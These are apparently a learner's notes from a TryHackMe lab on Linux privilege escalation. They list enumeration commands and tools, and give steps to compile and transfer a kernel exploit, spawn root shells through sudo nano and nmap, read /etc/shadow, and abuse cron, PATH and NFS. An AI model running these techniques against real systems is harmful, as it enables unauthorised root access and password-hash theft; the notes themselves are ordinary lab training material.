**Linux Privilege Escalation**

1. **Introduction**
2. **What is Privilege Escalation?**

Used In:

* Resetting passwords
* Bypassing access controls to compromise protected data
* Editing software configurations
* Enabling persistence
* Changing the privilege of existing (or new) users
* Execute any administrative command

1. **Enumeration:**

* hostname • uname -a • /proc/version (uname -r)
* /etc/issue • ps -A • env
* sudo -l • ls -la • id
* /etc/passwd • history • ifconfig
* netstat • find

1. **Automated Enumeration Tools:**

LinPeas: <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS>

LinEnum: <https://github.com/rebootuser/LinEnum>

LES (Linux Exploit Suggester): <https://github.com/mzet-/linux-exploit-suggester>

Linux Smart Enumeration: <https://github.com/diego-treitos/linux-smart-enumeration>

Linux Priv Checker: <https://github.com/linted/linuxprivchecker>

1. **Privilege Escalation: Kernel Exploits:**

**(HOW YOU CAN USE PRE-EXPLOITED KERNEL PAYLOADS TO GAIN ROOT ACCESS)**

* Identify the kernel version
* Search for an exploit code for the kernel version of the target system
* Run the exploit
* <https://www.linuxkernelcves.com/cves>
* <https://www.exploit-db.com/download/37292> //exploit file (kernel version)
* **gcc** 37292.c -o **privesc** //run the exploit to a file
* **sudo python3** -m http.server //run http server
* **wget** http://{Machine\_IP}:8000/privesc //transfer the file to the target
* **chmod** +x **privesc** //change the permissions to exc.
* **./privesc**  //run the payload

NOW YOU HAVE ROOT ACESS TO THE MACHINE

* **cd** matt //go to the root home
* **cat** flag1.txt (THM-28392872729920) //read the flag

1. **Privilege Escalation: Sudo:**

**(HOW YOU CAN USE SOME COMMANDS IN SUDO RIGHTS TO GAIN ROOT ACCESS)**

* Check for LD\_PRELOAD (with the env\_keep option)
* Write a simple C code compiled as a share object (.so extension) file
* Run the program with sudo rights and the LD\_PRELOAD option pointing to our .so file

How to use SUDO rights for each command: <https://gtfobins.github.io/> (**SUDO -l**)

* **sudo** -l //see the commands that you have root access to
* Go to gtfobins //search for nano in the website
* **sudo** nano //open nano as super user
* ^R^X //switch to command mode
* reset; sh 1>&0 2>&0 //change privileges

NOW YOU HAVE ROOT ACESS TO THE MACHINE

* **cd** ubuntu //go to the root home
* **cat** flag2.txt (THM-402028394) //read the flag
* ------------------------------------------------------------------------------------------------------------
* sudo nmap –interactive //span a root shell
* ------------------------------------------------------------------------------------------------------------
* **cat** /etc/shadow //show all users password hashes

1. **Privilege Escalation: SUID:**

**(HOW YOU CAN ADD A USER WITH ROOT PRIVLEGES TO GAIN ROOT ACCESS)**

**find** / -type f -perm -04000 -ls 2>**/dev/null 🡪 Redirect the errors (Not Showing them)**

Unshadow using **johntheripper** tool

If you can’t use **cat** to read a file you can use:

* **LFILE**={Path of the file you want to read}
* **/usr/bin/base64** "$LFILE" | base64 --decode

1. **Privilege Escalation: Capabilities:**

**(HOW YOU CAN USE SOME CAPABILITIES WITH SETUID TO GAIN ROOT ACCESS)**

1. **Privilege Escalation: Cron Jobs:**

**(HOW YOU CAN USE BACKUP (DELETED) CONFIGURATION FILES TO GAIN ROOT ACCESS)**

**/etc/crontab**: if there is a scheduled task that runs with root privileges, and we can change

the script that will be run, then our script will run with root privileges.

**Crontab** is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:

* System administrators need to run a script at regular intervals.
* They create a cron job to do this
* After a while, the script becomes useless, and they delete it
* They do not clean the relevant cron job

**(NOTE: BEST PRACTICE USE REVERSE SHELLS)**

1. **Privilege Escalation: PATH:**

**(HOW YOU CAN USE & MANIPULATE DEFAULT PATH FILES TO GAIN ROOT ACCESS)**

* What folders are located under $PATH
* Does your current user have write privileges for any of these folders?
* Can you modify $PATH?
* Is there a script/application you can start that will be affected by this vulnerability?

**find** / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

1. **Privilege Escalation: NFS:**

**(HOW YOU CAN USE NETWORK SHARING FILES TO GAIN ROOT ACCESS)**

NFS (Network File Sharing) 🡪 /etc/exports

**showmount** -e {Machine\_IP}

1. **Capstone Challenge:**

**Walkthrough:**

Video: <https://www.youtube.com/watch?v=7WQndt-1WzE>